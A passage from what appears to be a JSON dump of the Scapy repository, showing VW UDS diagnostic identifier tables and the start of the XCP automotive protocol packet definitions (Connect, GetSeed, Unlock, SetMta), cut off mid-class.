\"Trailer_weight_nose_weight_detection_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e91] = \"Sensor_carbon_dioxide_concentration_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e92] = \"Sensor_fine_dust_concentration_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e93] = \"Volume_control_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e94] = \"Belt_buckle_presenter_2nd_row_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e95] = \"Belt_buckle_presenter_2nd_row_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e96] = \"Operating_and_display_unit_6_for_air_conditioning_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e97] = \"Active_accelerator_pedal_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e98] = \"Multimedia_operating_unit_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e99] = \"Display_unit_3_for_multimedia_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e9a] = \"Display_unit_4_for_multimedia_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e9b] = \"Display_unit_5_for_multimedia_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e9c] = \"Control_module_for_auxiliary_blower_motors_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e9d] = \"Operating_and_display_unit_3_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e9e] = \"Operating_and_display_unit_4_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6e9f] = \"Operating_and_display_unit_5_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ea0] = \"Side Sensor Driver Front_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ea1] = \"Side Sensor Passenger Front_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ea2] = \"Side Sensor Driver Rear_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ea3] = \"Side Sensor Passenger Rear_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ea4] = \"Front Sensor Driver_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ea5] = \"Front Sensor Passenger_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ea6] = \"Pedestrian Protection Driver_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ea7] = \"Pedestrian Protection Passenger_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ea8] = \"Rear Sensor Center_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ea9] = \"Pedestrian Protection Center_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eaa] = \"Pedestrian Protection Contact_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eab] = \"Pedestrian_protection_driver_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eac] = \"Pedestrian_protection_passenger_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ead] = \"Central_sensor_XY_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eae] = \"Refrigerant_pressure_and_temperature_sender_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eaf] = \"Refrigerant_pressure_and_temperature_sender_3_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eb0] = \"Switch_for_rear_multicontour_seat_driver_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eb1] = \"Valve_block_1_in_driver_side_rear_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eb2] = \"Valve_block_2_in_driver_side_rear_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eb3] = \"Valve_block_3_in_driver_side_rear_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eb4] = \"Switch_for_rear_multicontour_seat_passenger_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eb5] = \"Valve_block_1_in_passenger_side_rear_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eb6] = \"Valve_block_2_in_passenger_side_rear_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eb7] = \"Valve_block_3_in_passenger_side_rear_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eb8] = \"Switch_for_front_multicontour_seat_driver_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eb9] = \"Valve_block_1_in_driver_side_front_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eba] = \"Valve_block_2_in_driver_side_front_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ebb] = \"Valve_block_3_in_driver_side_front_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ebc] = \"Switch_for_front_multicontour_seat_passenger_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ebd] = \"Valve_block_1_in_passenger_side_front_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ebe] = \"Valve_block_2_in_passenger_side_front_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ebf] = \"Valve_block_3_in_passenger_side_front_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ec0] = \"Coolant_heater_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ec1] = \"Seat_backrest_fan_1_front_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ec2] = \"Seat_backrest_fan_2_front_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ec3] = \"Seat_cushion_fan_1_front_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ec4] = \"Seat_cushion_fan_2_front_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ec5] = \"Seat_backrest_fan_1_front_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ec6] = \"Seat_backrest_fan_2_front_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ec7] = \"Seat_cushion_fan_1_front_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ec8] = \"Seat_cushion_fan_2_front_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ec9] = \"Operating_and_display_unit_1_for_air_conditioning_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eca] = \"Operating_and_display_unit_2_for_air_conditioning_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ecb] = \"Operating_and_display_unit_3_for_air_conditioning_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ecc] = \"Operating_and_display_unit_4_for_air_conditioning_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ecd] = \"Operating_and_display_unit_5_for_air_conditioning_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ece] = \"Pedestrian_protection_left_hand_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ecf] = \"Pedestrian_protection_right_hand_side_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ed0] = \"Battery_junction_box_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ed1] = \"Cell_module_controller_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ed2] = \"Cell_module_controller_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ed3] = \"Cell_module_controller_3_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ed4] = \"Cell_module_controller_4_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ed5] = \"Cell_module_controller_5_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ed6] = \"Cell_module_controller_6_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ed7] = \"Cell_module_controller_7_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ed8] = \"Cell_module_controller_8_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ed9] = \"Cell_module_controller_9_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eda] = \"Cell_module_controller_10_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6edb] = \"Cell_module_controller_11_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6edc] = \"Cell_module_controller_12_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6edd] = \"Seat_backrest_fan_1_rear_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ede] = \"Seat_backrest_fan_2_rear_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6edf] = \"Seat_cushion_fan_1_rear_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ee0] = \"Seat_cushion_fan_2_rear_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ee1] = \"Seat_backrest_fan_1_rear_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ee2] = \"Seat_backrest_fan_2_rear_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ee3] = \"Seat_cushion_fan_1_rear_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ee4] = \"Seat_cushion_fan_2_rear_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ee5] = \"Auxiliary_blower_motor_control_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ee6] = \"Auxiliary_blower_motor_control_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ee7] = \"Infrared_sender_for_front_observation_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ee8] = \"Starter_generator_control_module_sub_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ee9] = \"Media_player_1_sub_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eea] = \"Media_player_2_sub_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eeb] = \"Dedicated_short_range_communication_aerial_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eec] = \"Refrigerant_pressure_and_temperature_sender_4_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eed] = \"Refrigerant_pressure_and_temperature_sender_5_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eee] = \"Refrigerant_pressure_and_temperature_sender_6_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eef] = \"Air_coolant_actuator_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ef0] = \"Air_coolant_actuator_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ef1] = \"Cell_module_controller_13_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ef2] = \"Cell_module_controller_14_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ef3] = \"Cell_module_controller_15_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ef5] = \"Seat_heating_rear_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ef6] = \"LED_warning_indicator_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ef7] = \"Automatic_transmission_fluid_pump_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ef8] = \"Manual_transmission_fluid_pump_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6ef9] = \"Convenience_and_driver_assist_operating_unit_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6efb] = \"Air_coolant_actuator_3_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6efc] = \"Valve_block_4_in_driver_side_rear_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6efd] = \"Valve_block_4_in_passenger_side_rear_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6efe] = \"Valve_block_4_in_driver_side_front_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6eff] = \"Valve_block_4_in_passenger_side_front_seat_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f01] = \"Rear_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f02] = \"Refrigerant_expansion_valve_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f03] = \"Refrigerant_expansion_valve_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f04] = \"Refrigerant_expansion_valve_3_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f05] = \"Refrigerant_shut_off_valve_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f06] = \"Refrigerant_shut_off_valve_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f07] = \"Refrigerant_shut_off_valve_3_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f08] = \"Refrigerant_shut_off_valve_4_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f09] = \"Refrigerant_shut_off_valve_5_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f0a] = \"Sunlight_sensor_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f0b] = \"Near_field_communication_control_module_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f0c] = \"Clutch_control_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f0d] = \"Electrical_charger_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f0e] = \"Rear_light_left_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f0f] = \"Rear_light_right_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f10] = \"Rear_light_right_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f11] = \"Sunlight_sensor_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f12] = \"Radiator_shutter_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f13] = \"Radiator_shutter_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f14] = \"Radiator_shutter_3_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f15] = \"Radiator_shutter_4_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f18] = \"Special_key_operating_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f19] = \"Radio_interface_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f1a] = \"Video_self_protection_recorder_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f1b] = \"Special_vehicle_assist_interface_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f1c] = \"Electric_system_disconnection_diode_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f1d] = \"Cradle_rear_climatronic_operating_and_display_unit_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f1e] = \"Belt_pretensioner_2nd_row_left_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f1f] = \"Belt_pretensioner_2nd_row_right_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f20] = \"Electrical_variable_camshaft_phasing_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f21] = \"Electrical_variable_camshaft_phasing_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f22] = \"Wireless_operating_unit_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f23] = \"Wireless_operating_unit_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f24] = \"Front_windshield_washer_pump_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f25] = \"Air_quality_sensor_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f26] = \"Fragrancing_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f27] = \"Coolant_valve_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f28] = \"Near_field_communication_control_module_3_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f29] = \"Interior_monitoring_rear_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f2a] = \"Cooler_fan_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f2b] = \"Control_unit_heating_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f2c] = \"Control_unit_heating_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f2d] = \"Control_unit_heating_3_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f2e] = \"Control_unit_heating_4_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f2f] = \"Operating_unit_drive_mode_selection_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f30] = \"Side_sensor_a-pillar_driver_front_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f31] = \"Side_sensor_a-pillar_passenger_front_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f32] = \"Sensor_high_voltage_system_1_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f33] = \"Side_sensor_b-pillar_driver_front_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f34] = \"Side_sensor_b-pillar_passenger_front_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f35] = \"Multi_function_steering_wheel_control_module_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f36] = \"Gear_selection_display_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f37] = \"Cooler_fan_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f38] = \"Gear_selector_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f39] = \"Interior_light_module_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f3a] = \"Radio_control_center_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f3b] = \"Multimedia_extension_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f3c] = \"Control_unit_differential_lock_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f3d] = \"Control_unit_ride_control_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f3e] = \"Control_unit_hands_on_detection_steering_wheel_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f3f] = \"Front_climatronic_operating_and_display_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f40] = \"Auxiliary_display_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f41] = \"Card_reader_tv_tuner_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f42] = \"Park_lock_actuator_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f43] = \"Media_connector_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x6f44] = \"Catalyst_heating_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0xef90] = \"Secure_hardware_extension_status\"\nUDS_RDBI.dataIdentifiers[0xf15a] = \"Fingerprint\"\nUDS_RDBI.dataIdentifiers[0xf15b] = \"Fingerprint And Programming Date Of Logical Software Blocks\"\nUDS_RDBI.dataIdentifiers[0xf17c] = \"VW FAZIT Identification String\"\nUDS_RDBI.dataIdentifiers[0xf186] = \"Active Diagnostic Session\"\nUDS_RDBI.dataIdentifiers[0xf187] = \"VW Spare Part Number\"\nUDS_RDBI.dataIdentifiers[0xf189] = \"VW Application Software Version Number\"\nUDS_RDBI.dataIdentifiers[0xf18a] = \"System Supplier Identifier\"\nUDS_RDBI.dataIdentifiers[0xf18c] = \"ECU Serial Number\"\nUDS_RDBI.dataIdentifiers[0xf190] = \"Vehicle Identification Number\"\nUDS_RDBI.dataIdentifiers[0xf191] = \"VW ECU Hardware Number\"\nUDS_RDBI.dataIdentifiers[0xf192] = \"System Supplier ECU Hardware Number\"\nUDS_RDBI.dataIdentifiers[0xf193] = \"System Supplier ECU Hardware Version Number\"\nUDS_RDBI.dataIdentifiers[0xf194] = \"System Supplier ECU Software Number\"\nUDS_RDBI.dataIdentifiers[0xf195] = \"System Supplier ECU Software Version Number\"\nUDS_RDBI.dataIdentifiers[0xf197] = \"VW System Name Or Engine Type\"\nUDS_RDBI.dataIdentifiers[0xf19e] = \"ASAM ODX File Identifier\"\nUDS_RDBI.dataIdentifiers[0xf1a0] = \"VW Data Set Number Or ECU Data Container Number\"\nUDS_RDBI.dataIdentifiers[0xf1a1] = \"VW Data Set Version Number\"\nUDS_RDBI.dataIdentifiers[0xf1a2] = \"ASAM ODX File Version\"\nUDS_RDBI.dataIdentifiers[0xf1a3] = \"VW ECU Hardware Version Number\"\nUDS_RDBI.dataIdentifiers[0xf1aa] = \"VW Workshop System Name\"\nUDS_RDBI.dataIdentifiers[0xf1ab] = \"VW Logical Software Block Version\"\nUDS_RDBI.dataIdentifiers[0xf1ad] = \"Engine Code Letters\"\nUDS_RDBI.dataIdentifiers[0xf1af] = \"AUTOSAR_standard_application_software_identification\"\nUDS_RDBI.dataIdentifiers[0xf1b0] = \"VWClear_diagnostic_information_date_functional\"\nUDS_RDBI.dataIdentifiers[0xf1b1] = \"VW_Application_data_set_identification\"\nUDS_RDBI.dataIdentifiers[0xf1b2] = \"Function_software_identification\"\nUDS_RDBI.dataIdentifiers[0xf1b3] = \"VW_Data_set_name\"\nUDS_RDBI.dataIdentifiers[0xf1b5] = \"Busmaster_description\"\nUDS_RDBI.dataIdentifiers[0xf1b6] = \"System_identification\"\nUDS_RDBI.dataIdentifiers[0xf1b7] = \"Gateway_component_list_ECU_node_address\"\nUDS_RDBI.dataIdentifiers[0xf1d5] = \"FDS_project_data\"\nUDS_RDBI.dataIdentifiers[0xf1df] = \"ECU Programming Information\"\n\n\nUDS_RC.routineControlIdentifiers[0x0202] = \"Check Memory\"\nUDS_RC.routineControlIdentifiers[0x0203] = \"Check Programming Preconditions\"\nUDS_RC.routineControlIdentifiers[0x0317] = \"Reset of Adaption Values\"\nUDS_RC.routineControlIdentifiers[0x0366] = \"Reset of all Adaptions\"\nUDS_RC.routineControlIdentifiers[0x03e7] = \"Reset to Factory Settings\"\nUDS_RC.routineControlIdentifiers[0x045a] = \"Clear user defined DTC information\"\nUDS_RC.routineControlIdentifiers[0x0544] = \"Verify partial software checksum\"\nUDS_RC.routineControlIdentifiers[0x0594] = \"Check upload preconditions\"\nUDS_RC.routineControlIdentifiers[0xff00] = \"Erase Memory\"\nUDS_RC.routineControlIdentifiers[0xff01] = \"Check Programming Dependencies\"\n\n\nUDS_RD.dataFormatIdentifiers[0x0000] = \"Uncompressed\"\nUDS_RD.dataFormatIdentifiers[0x0001] = \"Compression Method 1\"\nUDS_RD.dataFormatIdentifiers[0x0002] = \"Compression Method 2\"\nUDS_RD.dataFormatIdentifiers[0x0003] = \"Compression Method 3\"\nUDS_RD.dataFormatIdentifiers[0x0004] = \"Compression Method 4\"\nUDS_RD.dataFormatIdentifiers[0x0005] = \"Compression Method 5\"\nUDS_RD.dataFormatIdentifiers[0x0006] = \"Compression Method 6\"\nUDS_RD.dataFormatIdentifiers[0x0007] = \"Compression Method 7\"\nUDS_RD.dataFormatIdentifiers[0x0008] = \"Compression Method 8\"\nUDS_RD.dataFormatIdentifiers[0x0009] = \"Compression Method 9\"\nUDS_RD.dataFormatIdentifiers[0x000a] = \"Compression Method 10\"\nUDS_RD.dataFormatIdentifiers[0x000b] = \"Compression Method 11\"\nUDS_RD.dataFormatIdentifiers[0x000c] = \"Compression Method 12\"\nUDS_RD.dataFormatIdentifiers[0x000d] = \"Compression Method 13\"\nUDS_RD.dataFormatIdentifiers[0x000e] = \"Compression Method 14\"\nUDS_RD.dataFormatIdentifiers[0x000f] = \"Compression Method 15\"\n"
  },
  {
    "path": "scapy/contrib/automotive/xcp/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Tabea Spahn <tabea.spahn@e-mundo.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\nPackage of contrib automotive xcp specific modules\nthat have to be loaded explicitly.\n\"\"\"\n"
  },
  {
    "path": "scapy/contrib/automotive/xcp/cto_commands_master.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Tabea Spahn <tabea.spahn@e-mundo.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.contrib.automotive.xcp.utils import get_ag, get_max_cto, \\\n    XCPEndiannessField, StrVarLenField\nfrom scapy.fields import ByteEnumField, ByteField, ShortField, StrLenField, \\\n    IntField, ThreeBytesField, FlagsField, ConditionalField, XByteField, \\\n    XIntField, FieldLenField\nfrom scapy.packet import Packet, bind_layers\n\n\n# ##### CTO COMMANDS ######\n\n# STANDARD COMMANDS\n\nclass Connect(Packet):\n    commands = {0x00: \"NORMAL\", 0x01: \"USER_DEFINED\"}\n    fields_desc = [\n        ByteEnumField(\"connection_mode\", 0, commands),\n    ]\n\n\nclass Disconnect(Packet):\n    # DISCONNECT has no data\n    pass\n\n\nclass GetStatus(Packet):\n    # GET_STATUS has no data\n    pass\n\n\nclass Synch(Packet):\n    # SYNCH has no data\n    pass\n\n\nclass GetCommModeInfo(Packet):\n    # GET_COMM_MODE_INFO has no data\n    pass\n\n\nclass GetId(Packet):\n    \"\"\"Get identification from slave\"\"\"\n    types = {0x00: \"ASCII\",\n             0x01: \"file_name_without_path_and_extension\",\n             0x02: \"file_name_with_path_and_extension\",\n             0x03: \"URL\",\n             0x04: \"File\"\n             }\n    fields_desc = [ByteEnumField(\"identification_type\", 0x00, types)]\n\n\nclass SetRequest(Packet):\n    \"\"\"Request to save to non-volatile memory\"\"\"\n    fields_desc = [\n        FlagsField(\"mode\", 0, 8, [\n            \"store_cal_req\", \"store_daq_req\", \"clear_daq_req\", \"x3\", \"x4\",\n            \"x5\", \"x6\", \"x7\"]),\n        XCPEndiannessField(ShortField(\"session_configuration_id\", 0x00))\n    ]\n\n\nclass GetSeed(Packet):\n    # Get seed for unlocking a protected resource\n    seed_mode = {0x00: \"first\", 0x01: \"remaining\"}\n    res = {0x00: \"resource\", 0x01: \"ignore\"}\n    fields_desc = [\n        ByteEnumField(\"mode\", 0, seed_mode),\n        ByteEnumField(\"resource\", 0, res)\n    ]\n\n\nclass Unlock(Packet):\n    # Send key for unlocking a protected resource\n    fields_desc = [\n        FieldLenField(\"len\", None, length_of=\"seed\", fmt=\"B\"),\n        StrVarLenField(\"seed\", b\"\", length_from=lambda p: p.len,\n                       max_length=lambda: get_max_cto() - 2)\n    ]\n\n\nclass SetMta(Packet):\n    # Set Memory Transfer Address in slave\n    fields_desc = [\n        # specification says: position 1,2 type byte (not WORD) The example(\n        # Part 5 Example Communication Sequences ) shows 2 bytes for\n        # \"reserved\"\n        # http://read.pudn.com/downloads192/doc/comm/903802/XCP%20-Part%205-%20Example%20Communication%20Sequences%20-1.0.pdf # noqa: E501\n        # --> 2 bytes\n        XCPEndiannessField(ShortField(\"reserved\", 0)),\n        ByteField(\"address_extension\", 0),\n        XCPEndiannessField(XIntField(\"address\", 0))\n    ]\n\n\nclass Upload(Packet):\n    # Upload from slave to master\n    fields_desc = [ByteField(\"nr_of_data_elements\", 0)]\n\n\nclass ShortUpload(Packet):\n    # Upload from slave to master (short version)\n    fields_desc = [\n        ByteField(\"nr_of_data_elements\", 0),\n        ByteField(\"reserved\", 0),\n        XByteField(\"address_extension\", 0),\n        